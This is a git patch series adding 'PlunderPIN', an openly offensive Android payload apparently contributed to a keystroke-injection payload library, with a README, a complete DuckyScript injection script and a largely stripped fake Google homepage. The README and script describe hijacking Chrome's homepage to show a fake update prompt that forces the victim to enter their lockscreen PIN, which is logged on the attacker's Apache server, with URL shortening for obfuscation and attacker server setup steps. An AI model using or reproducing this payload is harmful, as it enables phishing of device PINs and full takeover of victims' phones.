From 94029fc03c5895bcc280b1ef1f9810617055dc9d Mon Sep 17 00:00:00 2001 From: OSINTI4L <207463242+OSINTI4L@users.noreply.github.com> Date: Thu, 11 Dec 2025 17:56:09 -0600 Subject: [PATCH 1/4] Create README.md --- .../mobile/Android/PlunderPIN/README.md | 79 +++++++++++++++++++ 1 file changed, 79 insertions(+) create mode 100644 payloads/library/mobile/Android/PlunderPIN/README.md diff --git a/payloads/library/mobile/Android/PlunderPIN/README.md b/payloads/library/mobile/Android/PlunderPIN/README.md new file mode 100644 index 00000000..a0d0fe71 --- /dev/null +++ b/payloads/library/mobile/Android/PlunderPIN/README.md @@ -0,0 +1,79 @@ +
+ +# PlunderPIN + +
+ +**Title:** PlunderPIN + +**Author:** [OSINTI4L](https://github.com/OSINTI4L) + +**Target Os:** Android mobile device/Google Chrome (tested on Samsung S24 FE | One UI V8.0 | Android 16 | Google Chrome browser 143.0.7499.53) + +## What is PlunderPIN? + +PlunderPIN is a DuckyScript phishing payload designed to trick a user into entering their mobile lockscreen PIN which is then logged in the `access.log` file of an Apache webserver. This is done so that an attacker can use the phished PIN for futher attacks against the mobile device, as they can now defeat the lockscreen and have total access as well as utilize the PIN for other authentication required applications and services. For testing pruposes the webserver will be hosted over LAN (both the attacker machine and target device must be on the same LAN)., but can easily be hosted over the internet. + +### How it works + +An attacker will host a malicious Google homepage (homepage.html) clone on an Apache webserver. The malicious homepage will be injected via Hak5 USB RubberDucky or O.mg device to the target mobile device. Once injected it will configure the homepage in the Google Chrome browser user settings so that the default homepage is now "swapped" with the malicious homepage. When a user now opens the Google Chrome browser they will be displayed with the malicious homepage and be prompted with a phishing mechanism (fake "update") to capture the mobile device lockscreen PIN. The PIN will then be stored in the `access.log` file of the Apache webserver hosting the malicious homepage. + +### The homepage.html + - Features: + - Dark and Light mode variations that will render according to device settings. + - A useable search bar and buttons that will forward the user input as a Google search request so that the homepage appears authentic. + - Persistently stored in browser settings (survives browser closing, device reboot, etc). + - Cookie mechanism to ensure that PIN is entered. +> The cookie mechanism helps the homepage appear authentic. A user is *required* to tap the initial "update" button prompt to continue the phishing scheme; they are unable to ignore it and continue using the browser. When a user enters their PIN a cookie is stored inside of the browser (for a period of 1 year) "telling" the homgepage when loaded that a PIN has previously been entered. As the homepage is persistently configured in the user settings, it would be highly suspicious for a user to be prompted for updates/PIN every time they open the browser to the homepage. To circumvent this the cookie mechanism was implemented. If cookies are cleared the user will be prompted for the PIN again. + +![DM](https://github.com/user-attachments/assets/3a776008-0b27-475b-b9ca-809eaa5928b2) +![LM](https://github.com/user-attachments/assets/dfbc4161-f62e-45b8-922b-9d4ab73282f2) + +----- + +### payload.txt +The payload.txt file is the delivery system for configuration of the Google Chrome browser and can be injected with a Hak5 USB RubberDucky or O.mg device. + +**The URL pointing to the Apache webserver must be defined in line 7 of the payload.txt.** The URL to the webserver is the following: `http://x.x.x.x:/homepage.html`. Replace the IP parameter with the IP address of the attacker machine (explained in setting up Apache webserver section below). E.g., `http://192.168.8.100/homepage.html`. + +An additional layer of obfuscation can be had by utilizing a URL shortening service (e.g., [Tinyurl](https://tinyurl.com/)). After placing the `http://x.x.x.x/homepage.html` URL into the shortener, you will then use the shortened URL as the constant defined in line 7. + +The payload workflow is as follows: + - Chrome browser is opened. + - A new tab is opened to ensure the proper browser environment is present for the script to run without issues. + - The browser is then navigated to the settings menu where the malicious Apache webserver URL is placed. + - All tabs are then closed. + - All applications are then closed and the phone returns to the home screen. This is necessary for obfuscation purposes and to allow the browser to automatically navigate to the malicious homepage when opened. + +----- + +### Viewing logs/target PIN + +The target's PIN will be logged in the Apache webserver `/var/log/apache2/access.log` file. + +This can be read at anytime via: `cat /var/log/apache2/access.log` + +alog + +----- + +### Setting up the Apache webserver using a [Kali Linux](https://www.kali.org) box +1. Once you have spun-up an instance of Kali (our attacker machine), you must first find the IP address of the machine. This can be found via `ifconfig`, store the IP address as it will be used as the URL to inject to the target mobile device (see payload.txt section above). + +2. Download the homepage.html file from the PlunderPIN repository directory. This will be the homepage that our malicious URL will point to. + +3. Move the homepage.html file (downloaded to your current working directory) to the Apache webserver: + - `sudo mv homepage.html /var/www/html` + +4. Start the Apache webserver: + - `sudo systemctl start apache2` + +----- + +### Cleanup +Two artifacts are left by the payload: + 1. Google Chrome homgepage settings. + - To remove: Open Chrome > Settings Menu > Settings > Homepage > Remove Apache URL + + 2. Cookie for phishing mechanism. + - To remove: Open Chrome > Settings Menu > Privacy and Security > Delete browsing data From 61af04f29dcdf21f4fde5017d39a14a1decb39db Mon Sep 17 00:00:00 2001 From: OSINTI4L <207463242+OSINTI4L@users.noreply.github.com> Date: Thu, 11 Dec 2025 17:57:04 -0600 Subject: [PATCH 2/4] Create payload.txt --- .../mobile/Android/PlunderPIN/payload.txt | 73 +++++++++++++++++++ 1 file changed, 73 insertions(+) create mode 100644 payloads/library/mobile/Android/PlunderPIN/payload.txt diff --git a/payloads/library/mobile/Android/PlunderPIN/payload.txt b/payloads/library/mobile/Android/PlunderPIN/payload.txt new file mode 100644 index 00000000..b67fa782 --- /dev/null +++ b/payloads/library/mobile/Android/PlunderPIN/payload.txt @@ -0,0 +1,73 @@ +REM TITLE: PlunderPIN +REM AUTHOR: OSINTI4L (https://github.com/OSINTI4L) +REM TARGET OS: Android mobile device/Google Chrome (tested on Samsung S24 FE | One UI V8.0 | Android 16 | Google Chrome 143.0.7499.53) +REM DESCRIPTION: PlunderPIN is a mobile PIN phishing payload that replaces a user's Google Chrome browser homepage with a malicious imitation homepage that creates prompts to capture the user's PIN and log it to a self hosted Apache webserver. See README.md for full description. +REM REQUIREMENTS: See README.md + +DEFINE #Apache_URL http://shorturl.at/Place-URL-Here + +REM Begin attack: +ATTACKMODE HID +DELAY 1000 + +REM Opening Google Chrome: +GUI f +DELAY 400 +STRINGLN chrome +DELAY 200 +TAB +DELAY 200 +ENTER +DELAY 500 + +REM Opening new tab to ensure proper default Chrome environment to execute payload properly: +CTRL t +DELAY 300 +SHIFT TAB +DELAY 200 +ENTER +DELAY 350 + +REM Navigating to Homepage settings: +REPEAT 8 DOWNARROW +ENTER +DELAY 350 +REPEAT 12 DOWNARROW +ENTER + +REM Setting Apache webserver URL as default homepage: +DELAY 250 +REPEAT 6 TAB +DELAY 250 +CTRL a +DELAY 250 +STRINGLN #Apache_URL +DELAY 250 + +REM Navigating back to original homepage and closing all tabs: +ESC +DELAY 100 +ESC +DELAY 250 +SHIFT TAB +DELAY 250 +ENTER +DELAY 250 +REPEAT 4 TAB +DELAY 250 +ENTER +DELAY 250 +REPEAT 3 DOWNARROW +DELAY 250 +ENTER +DELAY 250 +REPEAT 2 TAB +ENTER + +REM Closing applications (including browser) and returning to home screen: +INJECT_MOD +GUI TAB +DELAY 300 +REPEAT 2 DOWNARROW +DELAY 150 +ENTER From c480ca11f90be0a670e5ce81f7e8a34f73237ead Mon Sep 17 00:00:00 2001 From: OSINTI4L <207463242+OSINTI4L@users.noreply.github.com> Date: Thu, 11 Dec 2025 17:57:31 -0600 Subject: [PATCH 3/4] Create homepage.html --- .../mobile/Android/PlunderPIN/homepage.html | 378 ++++++++++++++++++ 1 file changed, 378 insertions(+) create mode 100644 payloads/library/mobile/Android/PlunderPIN/homepage.html diff --git a/payloads/library/mobile/Android/PlunderPIN/homepage.html b/payloads/library/mobile/Android/PlunderPIN/homepage.html new file mode 100644 index 00000000..6119abad --- /dev/null +++ b/payloads/library/mobile/Android/PlunderPIN/homepage.html @@ -0,0 +1,378 @@ + + + + + + Google + + + + +
+ + +
+ + +
+ + +
+
+
+ + +
+
+

+ Chrome update available +

+ +
+
+ + + + + +
+ Update running in background +
+ + + + + From 0f3c24ba5db898c9e973db29c780f1dd61cb6fe7 Mon Sep 17 00:00:00 2001 From: OSINTI4L <207463242+OSINTI4L@users.noreply.github.com> Date: Thu, 11 Dec 2025 18:16:24 -0600 Subject: [PATCH 4/4] Update README.md typo fixed, ready to merge --- payloads/library/mobile/Android/PlunderPIN/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/payloads/library/mobile/Android/PlunderPIN/README.md b/payloads/library/mobile/Android/PlunderPIN/README.md index a0d0fe71..489b9d84 100644 --- a/payloads/library/mobile/Android/PlunderPIN/README.md +++ b/payloads/library/mobile/Android/PlunderPIN/README.md @@ -24,7 +24,7 @@ An attacker will host a malicious Google homepage (homepage.html) clone on an Ap - A useable search bar and buttons that will forward the user input as a Google search request so that the homepage appears authentic. - Persistently stored in browser settings (survives browser closing, device reboot, etc). - Cookie mechanism to ensure that PIN is entered. -> The cookie mechanism helps the homepage appear authentic. A user is *required* to tap the initial "update" button prompt to continue the phishing scheme; they are unable to ignore it and continue using the browser. When a user enters their PIN a cookie is stored inside of the browser (for a period of 1 year) "telling" the homgepage when loaded that a PIN has previously been entered. As the homepage is persistently configured in the user settings, it would be highly suspicious for a user to be prompted for updates/PIN every time they open the browser to the homepage. To circumvent this the cookie mechanism was implemented. If cookies are cleared the user will be prompted for the PIN again. +> The cookie mechanism helps the homepage appear authentic. A user is *required* to tap the initial "update" button prompt to continue the phishing scheme; they are unable to ignore it and continue using the browser. When a user enters their PIN a cookie is stored inside of the browser (for a period of 1 year) "telling" the homepage when loaded that a PIN has previously been entered. As the homepage is persistently configured in the user settings, it would be highly suspicious for a user to be prompted for updates/PIN every time they open the browser to the homepage. To circumvent this the cookie mechanism was implemented. If cookies are cleared the user will be prompted for the PIN again. ![DM](https://github.com/user-attachments/assets/3a776008-0b27-475b-b9ca-809eaa5928b2) ![LM](https://github.com/user-attachments/assets/dfbc4161-f62e-45b8-922b-9d4ab73282f2)